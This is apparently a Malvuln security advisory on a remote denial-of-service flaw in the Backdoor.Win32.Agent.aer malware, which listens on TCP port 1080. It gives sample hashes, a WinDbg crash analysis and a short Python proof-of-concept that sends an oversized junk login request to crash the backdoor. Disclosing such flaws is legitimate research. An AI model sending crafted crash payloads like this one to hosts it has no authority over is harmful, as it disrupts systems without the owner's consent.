Tuesday, September 28, 2021

Backdoor.Win32.Agent.aer Denial Of Service

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9576a6a59715a69be499fa41d6383a64.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.aer
Vulnerability: Remote Denial of Service
Description: The malware listens on TCP port 1080. Third-party attackers who can reach infected systems can send a specially crafted junk payload for the logon credentials to trigger an exception and crash.
Type: PE32
MD5: 9576a6a59715a69be499fa41d6383a64
Vuln ID: MVID-2021-0346
Dropped files: svchost.exe
Disclosure: 09/25/2021

Memory Dump:
(2fc8.1f84): Unknown exception - code 00000000 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=3883ff6c edx=3883ff74 esi=00000003 edi=00000003
eip=776ced3c esp=3883f680 ebp=3883f810 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212
ntdll!ZwWaitForMultipleObjects+0xc:
776ced3c c21400 ret 14h

0:003> .ecxr
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000 edi=00000000
eip=00000000 esp=00000000 ebp=00000000 iopl=0 nv up di pl nz na po nc
cs=0000 ss=0000 ds=0000 es=0000 fs=0000 gs=0000 efl=00000000
00000000 ?? ???

0:003> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************

*** WARNING: Unable to verify checksum for svchost.exe
*** ERROR: Module load completed but symbols could not be loaded for svchost.exe
Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
svchost+a334
0040a334 8b4004 mov eax,dword ptr [eax+4]

EXCEPTION_RECORD: 3883faa8 -- (.exr 0x3883faa8)
ExceptionAddress: 0040a334 (svchost+0x0000a334)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 041a7d6c
Attempt to read from address 041a7d6c

DEFAULT_BUCKET_ID: APPLICATION_FAULT

PROCESS_NAME: svchost.exe

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

CONTEXT: 3883faf8 -- (.cxr 0x3883faf8)
eax=041a7d68 ebx=041a7d68 ecx=3883ff6c edx=3883ff74 esi=00403964 edi=00403964
eip=0040a334 esp=3883ff58 ebp=3883ff6c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
svchost+0xa334:
0040a334 8b4004 mov eax,dword ptr [eax+4] ds:002b:041a7d6c=00000000
Resetting default scope

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000000

EXCEPTION_PARAMETER2: 041a7d6c

READ_ADDRESS: 041a7d6c

FOLLOWUP_IP:
kernel32!BaseThreadInitThunk+0
74118630 8bff mov edi,edi

LAST_CONTROL_TRANSFER: from 0040398e to 0040a334

ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

FAULTING_THREAD: ffffffff

PRIMARY_PROBLEM_CLASS: APPLICATION_FAULT

BUGCHECK_STR: APPLICATION_FAULT_APPLICATION_FAULT

STACK_TEXT:
3883ff58 0040a334 svchost+0xa334
3883ff74 0040398e svchost+0x398e
3883ff88 74118654 kernel32!BaseThreadInitThunk+0x24
3883ff9c 776c4a77 ntdll!__RtlUserThreadStart+0x2f
3883ffe4 776c4a47 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND: .cxr 000000003883FAF8 ; kb ; dds 3883ff58 ; kb

SYMBOL_NAME: kernel32!BaseThreadInitThunk+0

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: kernel32

IMAGE_NAME: kernel32.dll

DEBUG_FLR_IMAGE_TIMESTAMP: 744765ce

FAILURE_BUCKET_ID: APPLICATION_FAULT_c0000005_kernel32.dll!BaseThreadInitThunk

BUCKET_ID: APPLICATION_FAULT_APPLICATION_FAULT_kernel32!BaseThreadInitThunk+0

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=1080

s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

JUNK="A"*2000
PAYLOAD="GET /login?Nombre="+JUNK+"&Password="+JUNK+" HTTP/1.0\r\nHost: "+MALWARE_HOST+"\r\n\r\n"
s.send(PAYLOAD)
s.close()


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